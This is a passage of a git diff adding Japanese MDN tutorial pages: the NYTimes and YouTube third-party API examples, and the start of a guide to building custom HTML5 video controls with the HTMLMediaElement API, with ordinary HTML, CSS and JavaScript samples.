をクエリして検索結果を表示するために使用します。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14821/nytimes-search.png" style="border-style: solid; border-width: 1px; display: block; height: 374px; margin: 0px auto; width: 700px;"></p> + +<h3 id="API_をアプリに接続する">API をアプリに接続する</h3> + +<p>まず、API とアプリ間の接続を行う必要があります。この API の場合、サービスから正しい URL でデータを要求するたびに、API キーを<a href="/ja/docs/Web/HTTP/Methods/GET">取得</a>パラメーターとして含める必要があります。</p> + +<ol> + <li> + <p>次の行を探します。</p> + + <pre class="brush: js notranslate">let key = ' ... ';</pre> + + <p>既存の API キーを、前のセクションで取得した実際の API キーに置き換えます。</p> + + <p>JavaScriptに次の行を追加してください。<code>// Event listeners to control the functionality</code> コメントの下に、次の行を追加します。これは、フォームが送信されたとき (ボタンが押されたとき) に submitSearch() という関数を実行します。</p> + + <pre class="brush: js notranslate">searchForm.addEventListener('submit', submitSearch);</pre> + </li> + <li> + <p>前の行の下に submitSearch() と fetchResults() 関数の定義を追加します。</p> + + <pre class="brush: js notranslate">function submitSearch(e) { + pageNumber = 0; + fetchResults(e); +} + +function fetchResults(e) { + // Use preventDefault() to stop the form submitting + e.preventDefault(); + + // Assemble the full URL + url = baseURL + '?api-key=' + key + '&page=' + pageNumber + '&q=' + searchTerm.value <span class="blob-code-inner"><span class="pl-s1"><span class="pl-k x">+</span><span class="x"> </span><span class="pl-s"><span class="pl-pds x">'</span><span class="x">&fq=document_type:("article")</span><span class="pl-pds x x-last">'</span></span></span></span>; + + if(startDate.value !== '') { + url += '&begin_date=' + startDate.value; + }; + + if(endDate.value !== '') { + url += '&end_date=' + endDate.value; + }; + +}</pre> + </li> +</ol> + +<p><code>submitSearch()</code> は最初にページ番号を 0 に戻してから <code>fetchResults()</code> を呼び出します。これは最初にイベントオブジェクトの <code>preventDefault()</code> を呼び出し、フォームが実際に送信されるのを止めるためです (これでは例が壊れてしまいます)。次に、文字列を操作してリクエスト先の完全な URL を組み立てます。このデモで必須と思われる部分を組み立てることから始めます。</p> + +<ul> + <li>ベース URL (<code>baseURL</code> 変数から取得)。</li> + <li>API キー。これは <code>api-key</code> URL パラメーターで指定する必要があります (値は key 変数から取得されます)。</li> + <li>ページ番号。これは <code>page</code> URL パラメーターで指定する必要があります (値は <code>pageNumber</code> 変数から取得されます)。</li> + <li><code>q</code> URL パラメーターで指定しなければならない検索語 (値は <code>searchTerm</code> テキスト {{htmlelement("input")}} の値から取得されます)。</li> + <li><code>fq</code> URL パラメーターで渡された式で指定された、結果を返すドキュメントの種類。この例では、記事を返したいとします。</li> +</ul> + +<p>次に、いくつかの <code><a href="/ja/docs/Web/JavaScript/Reference/Statements/if...else">if()</a></code> ステートメントを使用して、<code>startDate</code> と <code>endDate</code> <code><input></code> に値が入力されているかどうかをチェックします。記入されている場合は、それぞれ <code>begin_date</code> と <code>end_date</code> の URL パラメーターで指定された値を URL に追加します。</p> + +<p>そのため、完全な URL は次のような形になってしまいます。</p> + +<pre class="notranslate">https://api.nytimes.com/svc/search/v2/articlesearch.json?api-key=YOUR-API-KEY-HERE&page=0&q=cats +&<span class="blob-code-inner"><span class="pl-s1"><span class="pl-s"><span class="x">fq=document_type:("article")</span></span></span></span>&begin_date=20170301&end_date=20170312</pre> + +<div class="note"> +<p><strong>Note</strong>: どのようなURLパラメーターを含めることができるかについての詳細は、<a href="https://developer.nytimes.com/">NYTimes developer docs</a> を参照してください。</p> +</div> + +<div class="note"> +<p><strong>Note</strong>: この例では初歩的なフォームデータの検証を行っています — 検索語フィールドは、フォームを送信する前に入力しなければなりません (<code>required</code> 属性を使用して達成されます)。日付フィールドには <code>pattern</code> 属性が指定されており、値が 8 個の数字 (<code>pattern="[0-9]{8}"</code>) で構成されていないと送信されません。これらがどのように機能するかについての詳細は <a href="/ja/en-US/docs/Learn/HTML/Forms/Form_validation">Form data validation</a> を参照してください。</p> +</div> + +<h3 id="API_からデータを要求する">API からデータを要求する</h3> + +<p>これで URL を作成したので、それにリクエストしてみましょう。これは <a href="/ja/docs/Web/API/Fetch_API/Using_Fetch">Fetch API</a> を使って行います。</p> + +<p>以下のコードブロックを <code>fetchResults()</code> 関数の中に追加します：</p> + +<pre class="brush: js notranslate">// Use fetch() to make the request to the API +fetch(url).then(function(result) { + return result.json(); +}).then(function(json) { + displayResults(json); +});</pre> + +<p>ここでは、<code>url</code> 変数を <code><a href="/ja/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch()</a></code> に渡してリクエストを実行し、<code><a href="/ja/docs/Web/API/Body/json">json()</a></code> 関数を使用してレスポンスボディを JSON に変換し、結果の JSON を <code>displayResults()</code> 関数に渡して、データを UI に表示できるようにします。</p> + +<h3 id="データを表示する">データを表示する</h3> + +<p>それでは、データを表示する方法を見てみましょう。 <code>fetchResults()</code> 関数の下に以下の関数を追加します。</p> + +<pre class="brush: js notranslate">function displayResults(json) { + while (section.firstChild) { + section.removeChild(section.firstChild); + } + + const articles = json.response.docs; + + if(articles.length === 10) { + nav.style.display = 'block'; + } else { + nav.style.display = 'none'; + } + + if(articles.length === 0) { + const para = document.createElement('p'); + para.textContent = 'No results returned.' + section.appendChild(para); + } else { + for(var i = 0; i < articles.length; i++) { + const article = document.createElement('article'); + const heading = document.createElement('h2'); + const link = document.createElement('a'); + const img = document.createElement('img'); + const para1 = document.createElement('p'); + const para2 = document.createElement('p'); + const clearfix = document.createElement('div'); + + let current = articles[i]; + console.log(current); + + link.href = current.web_url; + link.textContent = current.headline.main; + para1.textContent = current.<span class="blob-code-inner"><span class="pl-s1"><span class="pl-smi x x-first x-last">snippet</span></span></span>; + para2.textContent = 'Keywords: '; + for(let j = 0; j < current.keywords.length; j++) { + const span = document.createElement('span'); + span.textContent += current.keywords[j].value + ' '; + para2.appendChild(span); + } + + if(current.multimedia.length > 0) { + img.src = 'http://www.nytimes.com/' + current.multimedia[0].url; + img.alt = current.headline.main; + } + + clearfix.setAttribute('class','clearfix'); + + article.appendChild(heading); + heading.appendChild(link); + article.appendChild(img); + article.appendChild(para1); + article.appendChild(para2); + article.appendChild(clearfix); + section.appendChild(article); + } + } +}</pre> + +<p>ここにはたくさんのコードがあります：</p> + +<ul> + <li><code><a href="/ja/docs/Web/JavaScript/Reference/Statements/while">while</a></code> ループは、DOM 要素のすべてのコンテンツを削除するために使われる一般的なパターンで、この場合は {{htmlelement("section")}} 要素です。私たちは <code><section></code> に最初の子があるかどうかをチェックし続け、ある場合は最初の子を削除します。ループは <code><section></code> に子がいなくなった時点で終了します。</li> + <li>次に、<code>articles</code> 変数を <code>json.response.docs</code> と等しくなるように設定します — これは検索によって返された記事を表すすべてのオブジェクトを保持する配列です。これは、以下のコードを少しシンプルにするために行われています。</li> + <li>最初の <code><a href="/ja/docs/Web/JavaScript/Reference/Statements/if...else">if()</a></code> ブロックは、10 個の記事が返されるかどうかをチェックします ( API は一度に10個までの記事を返します。) もし返された場合、前の10個 / 次の10個のページネーションボタンを含む {{htmlelement("nav")}} を表示します。10記事未満の記事が返された場合、それらはすべて 1 ページに収まるので、ページ分割ボタンを表示する必要はありません。次のセクションでは、ページ分割機能の配線を行います。</li> + <li>次の <code>if()</code> ブロックは記事が返ってこないかどうかをチェックします。もしそうならば、何も表示しようとしません — "No results returned." というテキストを含む {{htmlelement("p")}} を作成して、それを <code><section></code> に挿入します。</li> + <li>いくつかの記事が返された場合、私たちはまず、それぞれのニュース記事を表示するために使用したいすべての要素を作成し、それぞれに適切なコンテンツを挿入し、適切な場所で DOM に挿入します。記事オブジェクトのどのプロパティに表示すべき正しいデータが含まれているかを調べるために、Article Search API リファレンスを参照しました (<a href="https://developer.nytimes.com/apis">NYTimes APIs</a>)。これらの操作のほとんどはかなり明白ですが、いくつかは呼び出す価値があります： + <ul> + <li>私たちは <a href="/ja/docs/Web/JavaScript/Reference/Statements/for">for loop</a> を使用しました (<code>for(var j = 0; j < current.keywords.length; j++) { ... }</code>) を使って、それぞれの記事に関連するすべてのキーワードをループさせ、それぞれのキーワードを {{htmlelement("span")}} に挿入し、<code><p></code> の中に入れています。これは、それぞれの記事のスタイルを簡単にするために行われました。</li> + <li><code>if()</code> ブロック ( <code>if(current.multimedia.length > 0) { ... }</code>) を使って、各記事に関連する画像があるかどうかをチェックしています (記事によってはないものもあります)。</li> + <li><code><div></code> 要素に "clearfix" というクラスを与えたので、簡単にクリアリングを適用することができます。</li> + </ul> + </li> +</ul> + +<h3 id="ページネーションボタンの配線">ページネーションボタンの配線</h3> + +<p>ページ分割ボタンを動作させるために、<code>pageNumber</code> 変数の値をインクリメント (またはデクリメント) し、ページ URL パラメーターに含まれる新しい値でフェッチリクエストを再実行します。これは、NYTimes API が一度に 10 件の結果しか返さないからです — 10 件以上の結果が利用可能な場合、<code>page</code> URL パラメーターが 0 に設定されている場合は最初の 10 (0-9) を (または全く含まれない — 0 がデフォルト値です。) 1 に設定されている場合は次の 10 (10-19) を返します。</p> + +<p>これにより、単純なページネーション関数を簡単に書くことができるようになりました。</p> + +<ol> + <li> + <p>既存の <code><a href="/ja/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> コールの下に、関連するボタンがクリックされたときに <code>nextPage()</code> および <code>previousPage()</code> 関数が呼び出されるように、これら 2 つの新しいものを追加します：</p> + + <pre class="brush: js notranslate">nextBtn.addEventListener('click', nextPage); +previousBtn.addEventListener('click', previousPage);</pre> + </li> + <li> + <p>前回の追加の下に、2 つの関数を定義してみましょう — 今すぐこのコードを追加します：</p> + + <pre class="brush: js notranslate">function nextPage(e) { + pageNumber++; + fetchResults(e); +}; + +function previousPage(e) { + if(pageNumber > 0) { + pageNumber--; + } else { + return; + } + fetchResults(e); +};</pre> + + <p>最初の関数は単純で、変数 <code>pageNumber</code> をインクリメントしてから、次のページの結果を表示するために <code>fetchResults()</code> 関数を再度実行します。</p> + + <p>2 番目の関数は逆の方法でほぼ正確に同じように動作しますが、<code>pageNumber</code> がすでに 0 ではないことを確認するという余分なステップを踏まなければなりません — もしフェッチリクエストがマイナスの <code>page</code> パラメーターで実行された場合、エラーを引き起こす可能性があります。もし <code>pageNumber</code> がすでに 0 であれば、処理能力を無駄にしないように、単に関数から <code><a href="/ja/docs/Web/JavaScript/Reference/Statements/return">return</a></code> します (すでに最初のページにいるのであれば、同じ結果を再び読み込む必要はありません)。</p> + </li> +</ol> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: 完成した <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/third-party-apis/nytimes/index.html">nytimes API のサンプルコードは GitHub で見ることができます</a> (<a href="https://mdn.github.io/learning-area/javascript/apis/third-party-apis/nytimes/">ここでもライブで動作しています</a>) 。</p> +</div> + +<h2 id="YouTube_の例">YouTube の例</h2> + +<p>また、<a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/third-party-apis/youtube">YouTube video search example</a> をご覧ください。これは 2 つの関連する API を使用しています。</p> + +<ul> + <li>YouTube の動画を検索して結果を返す <a href="https://developers.google.com/youtube/v3/docs/">YouTube Data API</a>。</li> + <li>返された動画の例を IFrame ビデオプレーヤー内に表示して視聴できるようにするための <a href="https://developers.google.com/youtube/iframe_api_reference">YouTube IFrame Player API</a> です。</li> +</ul> + +<p>この例は、2つの関連するサードパーティ API を一緒に使用してアプリを構築していることを示しているので興味深いです。1 つ目は RESTful API で、2 つ目は Mapquest のように動作します (API 固有のメソッドなどがあります)。ただし、どちらの API もページに適用するために JavaScript ライブラリを必要とする点は注目に値します。RESTful API には、HTTP リクエストを行い、結果を返すための関数が用意されています。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14823/youtube-example.png" style="border-style: solid; border-width: 1px; display: block; height: 389px; margin: 0px auto; width: 700px;"></p> + +<p>この例については、記事の中ではあまり多くを語るつもりはありません。<a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/third-party-apis/youtube">ソースコード</a>には、それがどのように動作するかを説明するために、その中に詳細なコメントが挿入されています。</p> + +<p>稼動させるために必要です：</p> + +<ul> + <li><a href="https://cloud.google.com/">Google Cloud</a> から API キーを取得します。</li> + <li>ソースコードから <code>ENTER-API-KEY-HERE</code> という文字列を見つけ、それを API キーに置き換えます。</li> + <li>ウェブサーバー経由でサンプルを実行します。ブラウザーで直接実行した場合 (つまり <code>file://</code> URL を経由した場合) は動作しません。</li> +</ul> + +<h2 id="まとめ">まとめ</h2> + +<p>この記事では、サードパーティ API を使用してウェブサイトに機能を追加するための便利な方法を紹介しました。</p> + +<p>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs")}}</p> + +<h2 id="このモジュール">このモジュール</h2> + +<div> +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Web API の紹介</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">ドキュメントの操作</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">サーバーからのデータ取得</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">サードパーティ API</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">グラフィックの描画</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">動画と音声の API</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">クライアント側ストレージ</a></li> +</ul> +</div> diff --git a/files/ja/learn/javascript/client-side_web_apis/video_and_audio_apis/index.html b/files/ja/learn/javascript/client-side_web_apis/video_and_audio_apis/index.html new file mode 100644 index 0000000000..09e6e27ca7 --- /dev/null +++ b/files/ja/learn/javascript/client-side_web_apis/video_and_audio_apis/index.html @@ -0,0 +1,507 @@ +--- +title: 動画と音声の API +slug: Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs +tags: + - API + - Audio + - Beginner + - CodingScripting + - Guide + - JavaScript + - Learn + - Video + - 記事 +translation_of: Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs/Client-side_storage", "Learn/JavaScript/Client-side_web_APIs")}}</div> + +<p class="summary">HTML5 comes with elements for embedding rich media in documents — {{htmlelement("video")}} and {{htmlelement("audio")}} — which in turn come with their own APIs for controlling playback, seeking, etc. This article shows you how to do common tasks such as creating custom playback controls.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>JavaScript basics (see <a href="/en-US/docs/Learn/JavaScript/First_steps">first steps</a>, <a href="/en-US/docs/Learn/JavaScript/Building_blocks">building blocks</a>, <a href="/en-US/docs/Learn/JavaScript/Objects">JavaScript objects</a>), the <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">basics of Client-side APIs</a></td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>To learn how to use browser APIs to control video and audio playback.</td> + </tr> + </tbody> +</table> + +<h2 id="HTML5_video_と_audio">HTML5 video と audio</h2> + +<p>The {{htmlelement("video")}} and {{htmlelement("audio")}} elements allow us to embed video and audio into web pages. As we showed in <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Video and audio content</a>, a typical implementation looks like this:</p> + +<pre class="brush: html notranslate"><video controls> + <source src="rabbit320.mp4" type="video/mp4"> + <source src="rabbit320.webm" type="video/webm"> + <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> +</video></pre> + +<p>This creates a video player inside the browser like so:</p> + +<p>{{EmbedGHLiveSample("learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html", '100%', 380)}}</p> + +<p>You can review what all the HTML features do in the article linked above; for our purposes here, the most interesting attribute is {{htmlattrxref("controls", "video")}}, which enables the default set of playback controls. If you don't specify this, you get no playback controls:</p> + +<p>{{EmbedGHLiveSample("learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats-no-controls.html", '100%', 380)}}</p> + +<p>This is not as immediately useful for video playback, but it does have advantages. One big issue with the native browser controls is that they are different in each browser — not very good for cross-browser support! Another big issue is that the native controls in most browsers aren't very keyboard-accessible.</p> + +<p>You can solve both these problems by hiding the native controls (by removing the <code>controls</code> attribute), and programming your own with HTML, CSS, and JavaScript. In the next section we'll look at the basic tools we have available to do this.</p> + +<h2 id="The_HTMLMediaElement_API">The HTMLMediaElement API</h2> + +<p>Part of the HTML5 spec, the {{domxref("HTMLMediaElement")}} API provides features to allow you to control video and audio players programmatically — for example {{domxref("HTMLMediaElement.play()")}}, {{domxref("HTMLMediaElement.pause()")}}, etc. This interface is available to both {{htmlelement("audio")}} and {{htmlelement("video")}} elements, as the features you'll want to implement are nearly identical. Let's go through an example, adding features as we go.</p> + +<p>Our finished example will look (and function) something like the following:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/video-audio/finished/", '100%', 360)}}</p> + +<h3 id="Getting_started">Getting started</h3> + +<p>To get started with this example, <a href="https://github.com/mdn/learning-area/raw/master/javascript/apis/video-audio/start/media-player-start.zip">download our media-player-start.zip</a> and unzip it into a new directory on your hard drive. If you <a href="https://github.com/mdn/learning-area">downloaded our examples repo</a>, you'll find it in <code>javascript/apis/video-audio/start/</code></p> + +<p>At this point, if you load the HTML you should see a perfectly normal HTML5 video player, with the native controls rendered.</p> + +<h4 id="Exploring_the_HTML">Exploring the HTML</h4> + +<p>Open the HTML index file. You'll see a number of features; the HTML is dominated by the video player and its controls:</p> + +<pre class="notranslate"><div class="player"> + <video controls> + <source src="video/sintel-short.mp4" type="video/mp4"> + <source src="video/sintel-short.webm" type="video/webm"> + <!-- fallback content here --> + </video> + <div class="controls"> + <button class="play" data-icon="P" aria-label="play pause toggle"></button> + <button class="stop" data-icon="S" aria-label="stop"></button> + <div class="timer"> + <div></div> + <span aria-label="timer">00:00</span> + </div> + <button class="rwd" data-icon="B" aria-label="rewind"></button> + <button class="fwd" data-icon="F" aria-label="fast forward"></button> + </div> +</div> +</pre> + +<ul> + <li>The whole player is wrapped in a {{htmlelement("div")}} element, so it can all be styled as one unit if needed.</li> + <li>The {{htmlelement("video")}} element contains two {{htmlelement("source")}} elements so that different formats can be loaded depending on the browser viewing the site.</li> + <li>The controls HTML is probably the most interesting: + <ul> + <li>We have four {{htmlelement("button")}}s — play/pause, stop, rewind, and fast forward.</li> + <li>Each <code><button></code> has a <code>class</code> name, a <code>data-icon</code> attribute for defining what icon should be shown on each button (we'll show how this works in the below section), and an <code>aria-label</code> attribute to provide an understandable description of each button, since we're not providing a human-readable label inside the tags. The contents of <code>aria-label</code> attributes are read out by screenreaders when their users focus on the elements that contain them.</li> + <li>There is also a timer {{htmlelement("div")}}, which will report the elapsed time when the video is playing. Just for fun, we are providing two reporting mechanisms — a {{htmlelement("span")}} containing the elapsed time in minutes and seconds, and an extra <code><div></code> that we will use to create a horizontal indicator bar that gets longer as the time elapses. To get an idea of what the finished product will look like, <a href="https://mdn.github.io/learning-area/javascript/apis/video-audio/finished/">check out our finished version</a>.</li> + </ul> + </li> +</ul> + +<h4 id="Exploring_the_CSS">Exploring the CSS</h4> + +<p>Now open the CSS file and have a look inside. The CSS for the example is not too complicated, but we'll highlight the most interesting bits here. First of all, notice the <code>.controls</code> styling:</p> + +<pre class="brush: css notranslate">.controls { + visibility: hidden; + opacity: 0.5; + width: 400px; + border-radius: 10px; + position: absolute; + bottom: 20px; + left: 50%; + margin-left: -200px; + background-color: black; + box-shadow: 3px 3px 5px black; + transition: 1s all; + display: flex; +} + +.player:hover .controls, player:focus .controls { + opacity: 1; +} +</pre> + +<ul> + <li>We start off with the {{cssxref("visibility")}} of the custom controls set to <code>hidden</code>. In our JavaScript later on, we will set the controls to <code>visible</code>, and remove the <code>controls</code> attribute from the <code><video></code> element. This is so that, if the JavaScript doesn't load for some reason, users can still use the video with the native controls.</li> + <li>We give the controls an {{cssxref("opacity")}} of 0.5 by default, so that they are less distracting when you are trying to watch the video. Only when you are hovering/focusing over the player do the controls appear at full opacity.</li> + <li>We lay out the buttons inside the control bar using Flexbox ({{cssxref("display")}}: flex), to make things easier.</li> +</ul> + +<p>Next, let's look at our button icons:</p> + +<pre class="brush: css notranslate">@font-face { + font-family: 'HeydingsControlsRegular'; + src: url('fonts/heydings_controls-webfont.eot'); + src: url('fonts/heydings_controls-webfont.eot?#iefix') format('embedded-opentype'), + url('fonts/heydings_controls-webfont.woff') format('woff'), + url('fonts/heydings_controls-webfont.ttf') format('truetype'); + font-weight: normal; + font-style: normal; +} + +button:before { + font-family: HeydingsControlsRegular; + font-size: 20px; + position: relative; + content: attr(data-icon); + color: #aaa; + text-shadow: 1px 1px 0px black; +}</pre> + +<p>First of all, at the top of the CSS we use a {{cssxref("@font-face")}} block to import a custom web font. This is an icon font — all the characters of the alphabet equate to common icons you might want to use in an application.</p> + +<p>Next we use generated content to display an icon on each button:</p> + +<ul> + <li>We use the {{cssxref("::before")}} selector to display the content before each {{htmlelement("button")}} element.</li> + <li>We use the {{cssxref("content")}} property to set the content to be displayed in each case to be equal to the contents of the <code><a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">data-icon</a></code> attribute. In the case of our play button, <code>data-icon</code> contains a capital "P".</li> + <li>We apply the custom web font to our buttons using {{cssxref("font-family")}}. In this font, "P" is actually a "play" icon, so therefore the play button has a "play" icon displayed on it.</li> +</ul> + +<p>Icon fonts are very cool for many reasons — cutting down on HTTP requests because you don't need to download those icons as image files, great scalability, and the fact that you can use text properties to style them — like {{cssxref("color")}} and {{cssxref("text-shadow")}}.</p> + +<p>Last but not least, let's look at the CSS for the timer:</p> + +<pre class="brush: css notranslate">.timer { + line-height: 38px; + font-size: 10px; + font-family: monospace; + text-shadow: 1px 1px 0px black; + color: white; + flex: 5; + position: relative; +} + +.timer div { + position: absolute; + background-color: rgba(255,255,255,0.2); + left: 0; + top: 0; + width: 0; + height: 38px; + z-index: 2; +} + +.timer span { + position: absolute; + z-index: 3; + left: 19px; +}</pre> + +<ul> + <li>We set the outer <code>.timer</code> <code><div></code> to have flex: 5, so it takes up most of the width of the controls bar. We also give it {{cssxref("position")}}<code>: relative</code>, so that we can position elements inside it conveniently according to it's boundaries, and not the boundaries of the {{htmlelement("body")}} element.</li> + <li>The inner <code><div></code> is absolutely positioned to sit directly on top of the outer <code><div></code>. It is also given an initial width of 0, so you can't see it at all. As the video plays, the width will be increased via JavaScript as the video elapses.</li> + <li>The <code><span></code> is also absolutely positioned to sit near the left hand side of the timer bar.</li> + <li>We also give our inner <code><div></code> and <code><span></code> the right amount of {{cssxref("z-index")}} so that the timer will be displayed on top, and the inner <code><div></code> below that. This way, we make sure we can see all the information — one box is not obscuring another.</li> +</ul> + +<h3 id="Implementing_the_JavaScript">Implementing the JavaScript</h3> + +<p>We've got a fairly complete HTML and CSS interface already; now we just need to wire up all the buttons to get the controls working.</p> + +<ol> + <li> + <p>Create a new JavaScript file in the same directory level as your index.html file. Call it <code>custom-player.js</code>.</p> + </li> + <li> + <p>At the top of this file, insert the following code:</p> + + <pre class="brush: js notranslate">const media = document.querySelector('video'); +const controls = document.querySelector('.controls'); + +const play = document.querySelector('.play'); +const stop = document.querySelector('.stop'); +const rwd = document.querySelector('.rwd'); +const fwd = document.querySelector('.fwd'); + +const timerWrapper = document.querySelector('.timer'); +const timer = document.querySelector('.timer span'); +const timerBar = document.querySelector('.timer div'); +</pre> + + <p>Here we are creating constants to hold references to all the objects we want to manipulate. We have three groups:</p> + + <ul> + <li>The <code><video></code> element, and the controls bar.</li> + <li>The play/pause, stop, rewind, and fast forward buttons.</li> + <li>The outer timer wrapper <code><div></code>, the digital timer readout <code><span></code>, and the inner <code><div></code> that gets wider as the time elapses.</li> + </ul> + </li> + <li> + <p>Next, insert the following at the bottom of your code:</p> + + <pre class="brush: js notranslate">media.removeAttribute('controls'); +controls.style.visibility = 'visible';</pre> + + <p>These two lines remove the default browser controls from the video, and make the custom controls visible.</p> + </li> +</ol> + +<h4 id="Playing_and_pausing_the_video">Playing and pausing the video</h4> + +<p>Let's implement probably the most important control — the play/pause button.</p> + +<ol> + <li> + <p>First of all, add the following to the bottom of your code, so that the <code>playPauseMedia()</code> function is invoked when the play button is clicked:</p> + + <pre class="brush: js notranslate">play.addEventListener('click', playPauseMedia); +</pre> + </li> + <li> + <p>Now to define <code>playPauseMedia()</code> — add the following, again at the bottom of your code:</p> + + <pre class="brush: js notranslate">function playPauseMedia() { + if(media.paused) { + play.setAttribute('data-icon','u'); + media.play(); + } else { + play.setAttribute('data-icon','P'); + media.pause(); + } +}</pre> + + <p>Here we use an <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if</a></code> statement to check whether the video is paused. The {{domxref("HTMLMediaElement.paused")}} property returns true if the media is paused, which is any time the video is not playing, including when it is set at 0 duration after it first loads. If it is paused, we set the <code>data-icon</code> attribute value on the play button to "u", which is a "paused" icon, and invoke the {{domxref("HTMLMediaElement.play()")}} method to play the media.</p> + + <p>On the second click, the button will be toggled back again — the "play" icon will be shown again, and the video will be paused with {{domxref("HTMLMediaElement.pause()")}}.</p> + </li> +</ol> + +<h4 id="Stopping_the_video">Stopping the video</h4> + +<ol> + <li> + <p>Next, let's add functionality to handle stopping the video. Add the following <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> lines below the previous one you added:</p> + + <pre class="brush: js notranslate">stop.addEventListener('click', stopMedia); +media.addEventListener('ended', stopMedia); +</pre> + + <p>The {{event("click")}} event is obvious — we want to stop the video by running our <code>stopMedia()</code> function when the stop button is clicked. We do however also want to stop the video when it finishes playing — this is marked by the {{event("ended")}} event firing, so we also set up a listener to run the function on that event firing too.</p> + </li> + <li> + <p>Next, let's define <code>stopMedia()</code> — add the following function below <code>playPauseMedia()</code>:</p> + + <pre class="brush: js notranslate">function stopMedia() { + media.pause(); + media.currentTime = 0; + play.setAttribute('data-icon','P'); +} +</pre> + + <p>there is no <code>stop()</code> method on the HTMLMediaElement API — the equivalent is to <code>pause()</code> the video, and set its {{domxref("HTMLMediaElement.currentTime","currentTime")}} property to 0. Setting <code>currentTime</code> to a value (in seconds) immediately jumps the media to that position.</p> + + <p>All there is left to do after that is to set the displayed icon to the "play" icon. Regardless of whether the video was paused or playing when the stop button is pressed, you want it to be ready to play afterwards.</p> + </li> +</ol> + +<h4 id="Seeking_back_and_forth">Seeking back and forth</h4> + +<p>There are many ways that you can implement rewind and fast forward functionality; here we are showing you a relatively complex way of doing it, which doesn't break when the different buttons are pressed in an unexpected order.</p> + +<ol> + <li> + <p>First of all, add the following two <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> lines below the previous ones:</p> + + <pre class="brush: js notranslate">rwd.addEventListener('click', mediaBackward); +fwd.addEventListener('click', mediaForward); +</pre> + </li> + <li> + <p>Now on to the event handler functions — add the following code below your previous functions to define <code>mediaBackward()</code> and <code>mediaForward()</code>:</p> + + <pre class="brush: js notranslate">let intervalFwd; +let intervalRwd; + +function mediaBackward() { + clearInterval(intervalFwd); + fwd.classList.remove('active'); + + if(rwd.classList.contains('active')) { + rwd.classList.remove('active'); + clearInterval(intervalRwd); + media.play(); + } else { + rwd.classList.add('active'); + media.pause(); + intervalRwd = setInterval(windBackward, 200); + } +} + +function mediaForward() { + clearInterval(intervalRwd); + rwd.classList.remove('active'); + + if(fwd.classList.contains('active')) { + fwd.classList.remove('active'); + clearInterval(intervalFwd); + media.play(); + } else { + fwd.classList.add('active'); + media.pause(); + intervalFwd = setInterval(windForward, 200); + } +} +</pre> + + <p>You'll notice that first we initialize two variables — <code>intervalFwd</code> and <code>intervalRwd</code> — you'll find out what they are for later on.</p> + + <p>Let's step through <code>mediaBackward()</code> (the functionality for <code>mediaForward()</code> is exactly the same, but in reverse):</p> + + <ol> + <li>We clear any classes and intervals that are set on the fast forward functionality — we do this because if we press the <code>rwd</code> button after pressing the <code>fwd</code> button, we want to cancel any fast forward functionality and replace it with the rewind functionality. If we tried to do both at one, the player would break.</li> + <li>We use an <code>if</code> statement to check whether the <code>active</code> class has been set on the <code>rwd</code> button, indicating that it has already been pressed. The {{domxref("Element.classList", "classList")}} is a rather handy property that exists on every element — it contains a list of all the classes set on the element, as well as methods for adding/removing classes, etc. We use the <code>classList.contains()</code> method to check whether the list contains the <code>active</code> class. This returns a boolean <code>true</code>/<code>false</code> result.</li> + <li>If <code>active</code> has been set on the <code>rwd</code> button, we remove it using <code>classList.remove()</code>, clear the interval that has been set when the button was first pressed (see below for more explanation), and use {{domxref("HTMLMediaElement.play()")}} to cancel the rewind and start the video playing normally.</li> + <li>If it hasn't yet been set, we add the <code>active</code> class to the <code>rwd</code> button using <code>classList.add()</code>, pause the video using {{domxref("HTMLMediaElement.pause()")}}, then set the <code>intervalRwd</code> variable to equal a {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} call. When invoked, <code>setInterval()</code> creates an active interval, meaning that it runs the function given as the first parameter every x milliseconds, where x is the value of the 2nd parameter. So here we are running the <code>windBackward()</code> function every 200 milliseconds — we'll use this function to wind the video backwards constantly. To stop a {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} running, you have to call {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}}, giving it the identifying name of the interval to clear, which in this case is the variable name <code>intervalRwd</code> (see the <code>clearInterval()</code> call earlier on in the function).</li> + </ol> + </li> + <li> + <p>Finally, we need to define the <code>windBackward()</code> and <code>windForward()</code> functions invoked 